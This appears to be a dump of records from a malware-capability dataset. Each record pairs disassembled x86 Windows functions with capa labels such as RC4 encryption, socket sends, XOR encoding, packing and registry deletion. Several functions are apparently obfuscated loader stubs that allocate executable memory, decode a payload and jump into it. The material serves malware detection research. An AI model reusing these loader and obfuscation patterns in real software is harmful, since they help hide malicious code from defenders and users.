joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401e74
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x6c
mov edi, dword [ebp + 0x10]
lea ecx, [ebp - 0x38]
mov dword [esp], ecx
mov dword [esp + 8], 0xf
mov dword [esp + 4], str._unknown_
mov dword [ebp - 0x48], ecx
call sub.msvcrt.dll_strncpy
lea edx, [ebp - 0x28]
mov dword [esp + 8], 0xf
mov dword [esp + 4], str._unknown_
mov dword [esp], edx
mov dword [ebp - 0x4c], edx
call sub.msvcrt.dll_strncpy
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
test eax, eax
mov dword [ebp - 0x44], eax
je 0x401f87
mov eax, dword [ebp + 0xc]
mov esi, dword [eax + 4]
test esi, esi
je 0x401f87
mov dword [ebp - 0x40], 1
xor ebx, ebx
mov dword [ebp - 0x3c], 0
jmp 0x401f75
mov cx, word [esi + 0x10]
mov dl, byte [esi + 0xf]
shr cx, 7
xor ecx, 1
and ecx, 1
test dl, dl
jne 0x401f3c
test cl, cl
je 0x401f3c
cmp dword [ebp - 0x40], 0
je 0x401f3c
lea eax, [ebp - 0x38]
mov dword [esp + 8], 0xf
mov dword [esp + 4], esi
mov dword [esp], eax
mov byte [ebp - 0x4c], dl
mov byte [ebp - 0x48], cl
call sub.msvcrt.dll_strncpy
mov cl, byte [ebp - 0x48]
mov dl, byte [ebp - 0x4c]
mov byte [ebp - 0x29], 0
mov dword [ebp - 0x40], 0
cmp dl, 0x20
jne 0x401f4b
test cl, cl
mov eax, 1
cmovne ebx, eax
cmp dl, 3
jne 0x401f6f
test cl, cl
je 0x401f6f
lea edx, [ebp - 0x28]
mov dword [esp + 8], 0xf
mov dword [esp + 4], esi
mov dword [esp], edx
call sub.msvcrt.dll_strncpy
mov byte [ebp - 0x19], 0
inc dword [ebp - 0x3c]
add esi, 0x12
mov edx, dword [ebp - 0x44]
movzx eax, byte [edx + 0x3a]
cmp dword [ebp - 0x3c], eax
jl 0x401eef
jmp 0x401f89
xor ebx, ebx
mov edx, dword [ebp + 8]
test edi, edi
mov eax, dword [sym.imp.WS2_32.dll_inet_ntoa]
mov dword [esp], edx
je 0x401fe7
call eax
push edx
lea edx, [ebp - 0x38]
mov dword [esp + 0x10], edi
mov dword [esp + 0xc], edx
mov dword [esp + 8], edi
mov dword [esp + 4], eax
mov dword [esp], str._s_s_s_s
call sub.msvcrt.dll_printf
test ebx, ebx
je 0x401fca
mov dword [esp], str._server_
call sub.msvcrt.dll_printf
lea eax, [ebp - 0x28]
mov dword [esp + 0xc], edi
mov dword [esp + 8], eax
mov dword [esp + 4], edi
mov dword [esp], str._s_s_s
call sub.msvcrt.dll_printf
jmp 0x402036
call eax
lea edx, [ebp - 0x38]
push esi
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov dword [esp], str.__17s__17s
call sub.msvcrt.dll_printf
test ebx, ebx
je 0x40200f
mov dword [esp + 4], str._server_
jmp 0x402017
mov dword [esp + 4], 0x407e2f
mov dword [esp], str.__10s
call sub.msvcrt.dll_printf
lea eax, [ebp - 0x28]
mov dword [esp + 4], eax
mov dword [esp], str.__17s
call sub.msvcrt.dll_printf
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + 8]
test eax, eax
je 0x40207d
movzx edx, byte [eax + 5]
mov dword [esp + 0x18], edx
movzx edx, byte [eax + 4]
mov dword [esp + 0x14], edx
movzx edx, byte [eax + 3]
mov dword [esp + 0x10], edx
movzx edx, byte [eax + 2]
mov dword [esp + 0xc], edx
movzx edx, byte [eax + 1]
mov dword [esp + 8], edx
movzx eax, byte [eax]
mov dword [esp], str._02x__02x__02x__02x__02x__02x_n
mov dword [esp + 4], eax
call sub.msvcrt.dll_printf
jmp 0x402089
mov dword [esp], 0xa
call sub.msvcrt.dll_putchar
lea esp, [ebp - 0xc]
mov eax, 1
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x402216
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
xor eax, eax
mov ebp, esp
mov ecx, 4
push edi
push esi
lea esi, [ebp - 0xac]
push ebx
mov edi, esi
sub esp, 0xdc
mov ebx, dword [sym.imp.WS2_32.dll_htons]
rep stosd dword es:[edi], eax
mov word [ebp - 0xac], 2
mov dword [esp], 0x89
call ebx
mov word [ebp - 0xaa], ax
mov eax, dword [ebp + 0xc]
push ecx
mov dword [esp], 0x10
mov dword [ebp - 0xa8], eax
call ebx
push edi
lea edi, [ebp - 0x9a]
mov word [ebp - 0x98], ax
mov dword [esp], 1
call ebx
mov word [ebp - 0x94], 0
mov word [ebp - 0x92], 0
mov word [ebp - 0x90], 0
push edx
mov word [ebp - 0x96], ax
lea eax, [ebp - 0x8e]
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov dword [esp], 0x408304
call fcn.00402164
mov dword [esp], 0x21
call ebx
push ecx
mov word [ebp - 0x6c], ax
mov dword [esp], 1
call ebx
mov word [ebp - 0x6a], ax
lea eax, [ebp - 0xb4]
push edx
mov dword [esp + 4], 0
mov dword [esp], eax
call fcn.00404c80
mov eax, dword [ebp - 0xb4]
mov ecx, 0x3e8
sub eax, dword [ebp + 0x10]
imul ax, ax, 0x3e8
mov word [ebp - 0xba], ax
mov eax, dword [ebp - 0xb0]
cdq
idiv ecx
add ax, word [ebp - 0xba]
movzx eax, ax
mov dword [esp], eax
call ebx
mov word [ebp - 0x9a], ax
mov eax, dword [ebp + 8]
push ecx
mov dword [esp + 0x14], 0x10
mov dword [esp + 0x10], esi
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x32
mov dword [esp + 4], edi
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_sendto]
sub esp, 0x18
inc eax
jne 0x40239d
mov eax, dword [ebp + 0xc]
lea ebx, [ebp - 0x68]
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._s_tSendto_failed
mov dword [esp + 4], 0x50
mov dword [esp], ebx
call fcn.00404b50
cmp dword [0x409020], 0
jne 0x402398
mov dword [esp], ebx
call sub.msvcrt.dll_perror
or eax, 0xffffffff
jmp 0x40239d
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x4032a0
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x1b
lea ebx, [esp + 0x24]
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
add eax, 0x40
mov dword [esp + 0xc], eax
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
jmp fcn.00403300
Function at 0x403800
Capabilities:
Parse pe header

Disassembly:
mov edx, dword [esp + 4]
xor eax, eax
cmp word [edx], 0x5a4d
je 0x403810
repz ret
add edx, dword [edx + 0x3c]
cmp dword [edx], 0x4550
jne 0x40380d
xor eax, eax
cmp word [edx + 0x18], 0x10b
sete al
ret

Function at 0x403830
Capabilities:
Enumerate pe sections

Disassembly:
push esi
push ebx
mov edx, dword [esp + 0xc]
mov ebx, dword [esp + 0x10]
add edx, dword [edx + 0x3c]
movzx esi, word [edx + 6]
movzx eax, word [edx + 0x14]
test esi, esi
lea eax, [edx + eax + 0x18]
je 0x403868
xor edx, edx
nop
mov ecx, dword [eax + 0xc]
cmp ecx, ebx
ja 0x40385e
add ecx, dword [eax + 8]
cmp ebx, ecx
jb 0x40386a
add edx, 1
add eax, 0x28
cmp edx, esi
jb 0x403850
xor eax, eax
pop ebx
pop esi
ret

Function at 0x403db0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x4093a4
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x4093bc]
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
sub esp, 4
test ebx, ebx
je 0x403e05
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x403dfe
test esi, esi
je 0x403dfe
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x403de0
mov dword [esp], 0x4093a4
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x404ac0
Capabilities:
Query environment variable

Disassembly:
mov eax, dword [esp + 4]
mov edx, dword [esp + 8]
mov ecx, dword [esp + 0xc]
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 4], 0
jmp fcn.004044f0
Function at 0x10051f10
Capabilities:
Encode data using xor

Disassembly:
jns 0x10051ef6
dec ebx
pop ebx
dec edi
fild qword [edx - 0x46]
push 0x57
mov edx, 0x76a1d29e
hlt
cmp al, bh
sbb al, 0xec
inc esp
aam 0x25
mov edx, esp
xchg esp, eax
add ch, byte [edx + ecx*4 + 0x35]
mov byte [0x8c066f0e], al
inc ecx
mov esp, 0xa69a99a5
inc bx
inc ebx
mov al, byte fs:[0x678b808a]
mov byte [edi + 0x48d0dfe9], ah
mov dword [edi - 0x5e], edx
add dword [edx + ebx + 0x90181d3], eax
cmp ch, dh
pop ds
ror byte [eax - 0x77], 1
push edi
mov byte [0xd31a8401], al
add dword [ecx], 0x1ff53809
push 0xffffffffffffff86
push ss
fstp st(7)
in al, 0xc4
mov esi, ebp
adc dl, byte [eax + 0x3f]
inc ebp
xor eax, 0x12a3655b
push ecx
in eax, 0x9a
cmp byte [ecx + 0x7d7e4992], bh
mov ecx, 0x6971c569
bound ebp, qword [eax + 0x5d50a17c]
add byte [bp + di - 0x2b76], 0x4b
mov ebp, 0x49c4c6f0
dec esi
jb 0x10051f1b
sub byte [eax + 0x76ea5b62], 0xca
pop es
mov dl, 0xf9
dec esp
dec esp
test ebp, esi
mov dword [edi + 0x5c], edx
xlatb
pop esp
push 0x698af29e
mov dl, ah
or esi, eax
aaa
push 0x2c
lcall 0x384b, 0x2b0ec89a
cmp byte [esi + 0x1b], bh
iretd

Function at 0x10765053
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1075f140]
jne 0x1076505d
repz ret
jmp fcn.107652df
Function at 0x10769feb
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x1075f140]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.10765a36
and dword [ebp - 0x14], 0
cmp dword [0x10762acc], 0
mov dword [ebp - 0x18], eax
jne 0x1076a09e
push str.USER32.DLL
call dword [sym.imp.kernel32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x1076a146
mov edi, dword [sym.imp.kernel32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x1076a146
mov esi, dword [sym.imp.kernel32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x10762acc], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x10762ad0], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x10762ad4], eax
call edi
push eax
call esi
mov dword [0x10762adc], eax
test eax, eax
je 0x1076a09e
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x10762ad8], eax
mov eax, dword [0x10762ad8]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.kernel32.dll_DecodePointer]
cmp eax, ecx
je 0x1076a0f7
cmp dword [0x10762adc], ecx
je 0x1076a0f7
push eax
call esi
push dword [0x10762adc]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x1076a0f7
test ebx, ebx
je 0x1076a0f7
call edi
test eax, eax
je 0x1076a0ee
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x1076a0ee
test byte [ebp - 8], 1
jne 0x1076a0f7
or dword [ebp + 0x10], 0x200000
jmp 0x1076a12a
mov eax, dword [0x10762ad0]
cmp eax, dword [ebp - 0x18]
je 0x1076a12a
push eax
call esi
test eax, eax
je 0x1076a12a
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x1076a12a
mov eax, dword [0x10762ad4]
cmp eax, dword [ebp - 0x18]
je 0x1076a12a
push eax
call esi
test eax, eax
je 0x1076a12a
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x10762acc]
call esi
test eax, eax
je 0x1076a146
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x1076a148
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10765053
leave
ret
Function at 0x42e002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..rdata
nop
nop
nop
nop
nop
push 4
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x42e072
nop
nop
nop
mov ebx, 0x407ef8
nop
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
push eax
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x3b867ddb
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
loop 0x42e060
nop
nop
nop
nop
mov eax, section._RDATA
cmp eax, 0
nop
nop
nop
nop
nop
je 0x42e0d2
nop
nop
mov ebx, 0x42cd70
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x45fd7b03
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x42e0c0
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x401434
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x401443
pop dword [ebp - 0x38]
mov eax, 0x67d27427
add eax, 0x986da01c
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0x2081d62
add dword [ebp - 0x48], 0x4c4a27e9
mov dword [ebp - 0x44], 0xe8a3df73
sub dword [ebp - 0x44], 0xb670932e
mov dword [ebp - 0x40], 0xd325fbe3
sub dword [ebp - 0x40], 0x86d9b7b5
mov dword [ebp - 0x3c], 0xc1a3e2d6
sub dword [ebp - 0x3c], 0xc1a3e2d6
lea eax, [ebp - 0x48]
push eax
mov eax, 0x6e3a42b5
add eax, 0x92063e4f
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0xcd1ecd41
add dword [ebp - 0x48], 0xa7539c15
mov dword [ebp - 0x44], 0x66ad93b1
add dword [ebp - 0x44], 0xdabecdc4
mov dword [ebp - 0x40], 0xf888a392
add dword [ebp - 0x40], 0x6ae6c8da
mov dword [ebp - 0x3c], 0x3f77091
sub dword [ebp - 0x3c], 0x3f77091
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, 0x820859a0
sub eax, 0x81c7d8a0
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x39422
push 0
call eax
mov ecx, 0x131dbf58
sub ecx, 0x131d7379
xor edx, edx
add edx, eax
mov esi, str.Q_bkr
add esi, dword [ebp - 0x38]
mov ebx, 0x7a204d7e
xor dword [ebp - 0x18], 0x3d15bde6
mov edi, dword [esi]
add edi, ebx
add dword [ebp - 0x2c], 0xa25893e9
mov dword [edx], edi
mov dword [ebp - 8], 0xa47dc7
add edx, 0xbfa080d3
add edx, 0x405f7f31
add esi, 0x968579e
sub esi, 0x968579a
loop 0x40155b
add eax, 0x1224f
mov ebx, eax
add eax, 5
mov ecx, 0x9e2227cc
add ecx, 0x621dd834
add ecx, dword [ebp - 0x38]
call ebx
leave
ret

Function at 0x402c93
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
lea eax, [ebp - 4]
push edi
push eax
mov eax, dword [0x42a2f0]
or al, 8
xor ebx, ebx
push eax
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, ebx
jne 0x402d27
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
mov edi, 0x105
jmp 0x402ce4
cmp dword [ebp + 0x10], ebx
jne 0x402d1b
lea eax, [ebp - 0x210]
push ebx
push eax
push dword [ebp - 4]
call fcn.00401434
test eax, eax
jne 0x402cf6
lea eax, [ebp - 0x210]
push edi
push eax
push ebx
push dword [ebp - 4]
call esi
test eax, eax
je 0x402ccb
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 3
call fcn.004065ec
cmp eax, ebx
je 0x402d2e
push ebx
push dword [0x42a2f0]
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
jmp 0x402d27
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 0xc
cmp dword [0x42a2f0], ebx
jne 0x402d24
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
test eax, eax
jne 0x402d24
jmp 0x402d27
Function at 0x10014630
Capabilities:
Enumerate process modules
Get common file path

Disassembly:
push esi
mov esi, ecx
call fcn.10018b90
call fcn.1000d420
call fcn.100190f0
call fcn.100092f0
call fcn.10027cc0
mov ecx, eax
call fcn.10037430
call fcn.10027cc0
mov ecx, eax
call fcn.10027cc0
mov esi, dword [esi]
test esi, esi
je 0x10014675
mov ecx, esi
call fcn.10027cc0
push esi
call sub.MSVCR100.dll_void___cdecl_operator_delete_void__
add esp, 4
call fcn.10013770
call fcn.1002d0f0
pop esi
jmp fcn.1001f4d0

Function at 0x10016a60
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003ef28
mov eax, dword fs:[0]
push eax
sub esp, 0x40
mov eax, dword [0x1006b894]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov esi, ecx
xor ebx, ebx
mov dword [ebp - 0x40], eax
cmp dword [esi + 0x30], ebx
jne 0x10016ad9
movzx ecx, word [esi + 0x28]
mov eax, dword [esi + 4]
push ecx
lea edx, [esi + 0xc]
push edx
push eax
call fcn.1000d760
mov ecx, eax
call fcn.10027cc0
mov dword [esi + 0x30], eax
cmp eax, ebx
jne 0x10016ad9
push str.Hyphenation_service_not_supported
push 0xffffff36
lea ecx, [ebp - 0x3c]
call fcn.10027cc0
push 0x1005d268
lea ecx, [ebp - 0x3c]
push ecx
call sub.MSVCR100.dll__CxxThrowException
call fcn.10027cc0
mov ecx, eax
call fcn.10037410
test al, al
je 0x10016b61
cmp byte [esi + 0x3d], bl
jne 0x10016b61
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x4c], esp
push 6
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], ebx
push 0x10046540
mov byte [ecx], bl
call fcn.10027cc0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x44], esp
push 0xffffffffffffffff
push ebx
lea edx, [esi + 0xc]
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], ebx
push edx
mov dword [ebp - 4], ebx
mov byte [ecx], bl
call fcn.10027cc0
mov ecx, dword [esi + 4]
mov eax, dword [ecx]
mov eax, dword [eax + 4]
push ecx
mov edx, esp
mov dword [ebp - 0x48], esp
mov bl, 1
push edx
mov byte [ebp - 4], bl
call eax
mov byte [ebp - 4], 2
call fcn.10027cc0
mov ecx, eax
mov dword [ebp - 4], 0xffffffff
call fcn.10027cc0
mov byte [esi + 0x3d], bl
mov ecx, dword [esi + 0x30]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x40]
mov edx, dword [edx + 0xc]
push eax
call edx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1003c1ea
mov esp, ebp
pop ebp
ret 4
Function at 0x10022c80
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004081c
mov eax, dword fs:[0]
push eax
sub esp, 0x478
mov eax, dword [0x1006b894]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov edi, dword [sym.imp.kernel32.dll_ReadFile]
xor ebx, ebx
mov esi, ecx
mov dword [ebp - 0x484], ebx
cmp byte [esi + 0x28], bl
je 0x10022de1
mov edx, dword [esi + 4]
push ebx
lea eax, [ebp - 0x480]
push eax
push 0x400
lea ecx, [ebp - 0x414]
push ecx
push edx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x480], ebx
call edi
cmp eax, ebx
jne 0x10022d19
call dword [sym.imp.kernel32.dll_GetLastError]
push str.MailSlotRead
push eax
lea ecx, [ebp - 0x47c]
call fcn.10027cc0
push 0x1005d268
lea eax, [ebp - 0x47c]
push eax
call sub.MSVCR100.dll__CxxThrowException
cmp dword [ebp - 0x480], ebx
jne 0x10022d2a
mov dword [ebp - 4], 0xffffffff
jmp 0x10022cc1
mov dword [ebp - 0x420], 0xf
mov dword [ebp - 0x424], ebx
mov byte [ebp - 0x434], bl
lea ecx, [ebp - 0x418]
mov byte [ebp - 4], 1
call fcn.10027cc0
lea ecx, [ebp - 0x450]
mov byte [ebp - 4], 2
call fcn.10036db0
mov edx, dword [esi]
mov edx, dword [edx + 8]
lea eax, [ebp - 0x450]
push eax
lea ecx, [ebp - 0x434]
push ecx
lea eax, [ebp - 0x414]
push eax
mov ecx, esi
mov byte [ebp - 4], 3
call edx
cmp al, bl
je 0x10022d99
lea eax, [ebp - 0x450]
push eax
lea ecx, [ebp - 0x434]
push ecx
mov ecx, esi
call fcn.10027cc0
lea ecx, [ebp - 0x450]
mov byte [ebp - 4], 2
call fcn.10035170
lea ecx, [ebp - 0x418]
mov byte [ebp - 4], 4
call sym.AdobeLinguistic.dll_public:_void___thiscall_devtech::RCPtr_struct_devtech::LM_UniString::StringValue_::destructor_void_
cmp dword [ebp - 0x420], 0x10
jb 0x10022dcf
mov edx, dword [ebp - 0x434]
push edx
call sub.MSVCR100.dll_void___cdecl_operator_delete_void__
add esp, 4
mov dword [ebp - 4], 0xffffffff
jmp 0x10022cc1
mov eax, dword [ebp - 0x484]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.1003c1ea
mov esp, ebp
pop ebp
ret
Function at 0x10027cc0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x10027ccf
pop dword [ebp - 8]
mov eax, 0x10027ccf
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0x5489c2aa
sub dword [ebp - 0x18], 0x6377d5f
mov dword [ebp - 0x14], 0x61167ab8
add dword [ebp - 0x14], 0xd11cd18d
mov dword [ebp - 0x10], 0x9a8d0440
add dword [ebp - 0x10], 0xb1bf3fee
mov dword [ebp - 0xc], 0x1e605a77
sub dword [ebp - 0xc], 0x1e605a77
lea eax, [ebp - 0x18]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0x48b2c3c5
sub dword [ebp - 0x18], 0xd4405a6f
mov dword [ebp - 0x14], 0xafcee771
sub dword [ebp - 0x14], 0x6e6285fc
mov dword [ebp - 0x10], 0xb3650a4d
add dword [ebp - 0x10], 0xb00a621f
mov dword [ebp - 0xc], 0xd6258456
sub dword [ebp - 0xc], 0xd6258456
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, 0x9ac3e49d
add eax, 0x75406ba3
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x41a8e
push 0
call eax
mov ecx, 0x3fb8
xor edi, edi
add edi, eax
mov ebx, 0x35079dcb
add ebx, 0xdafffe35
add ebx, dword [ebp - 8]
mov edx, 0x541f07a1
sub edx, 0x380e91d1
xor dword [ebp - 4], ebx
mov esi, dword [ebx]
xor dword [ebp - 4], esi
sub esi, edx
mov dword [edi], esi
mov dword [ebp - 4], 0x69372c07
add edi, 0x8299aa03
sub edi, 0x8299a9ff
add ebx, 0x2a67eda2
add ebx, 0xd5981262
loop 0x10027de3
add eax, 0x83280efd
add eax, 0x7cd8e2b6
xor ebx, ebx
add ebx, eax
add eax, 0xe180bb68
sub eax, 0xe180bb63
mov ecx, 0x10000000
add ecx, dword [ebp - 8]
call ebx
leave
ret

Function at 0x1003ba10
Capabilities:
Get thread local storage value

Disassembly:
mov eax, dword [0x1006bd68]
test eax, eax
je 0x1003ba3b
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
test eax, eax
je 0x1003ba3b
mov eax, dword [eax + 0x14]
test eax, eax
je 0x1003ba3b
mov ecx, dword [esp + 4]
nop
cmp dword [eax], ecx
je 0x1003ba3e
mov eax, dword [eax + 0x10]
test eax, eax
jne 0x1003ba30
xor eax, eax
ret
mov eax, dword [eax + 0xc]
ret

Function at 0x1003bc40
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
mov eax, dword [0x1006bd68]
push edi
mov edi, dword [sym.imp.kernel32.dll_TlsGetValue]
test eax, eax
je 0x1003bc57
push eax
call edi
test eax, eax
jne 0x1003bc8d
push esi
call fcn.10027cc0
push 0x1003b950
push 0x1006bd64
mov esi, eax
call fcn.10027cc0
mov eax, dword [0x1006bd68]
add esp, 8
push esi
push eax
call dword [sym.imp.kernel32.dll_TlsSetValue]
mov eax, dword [0x1006bd68]
pop esi
test eax, eax
jne 0x1003bc8a
pop edi
ret
push eax
call edi
pop edi
ret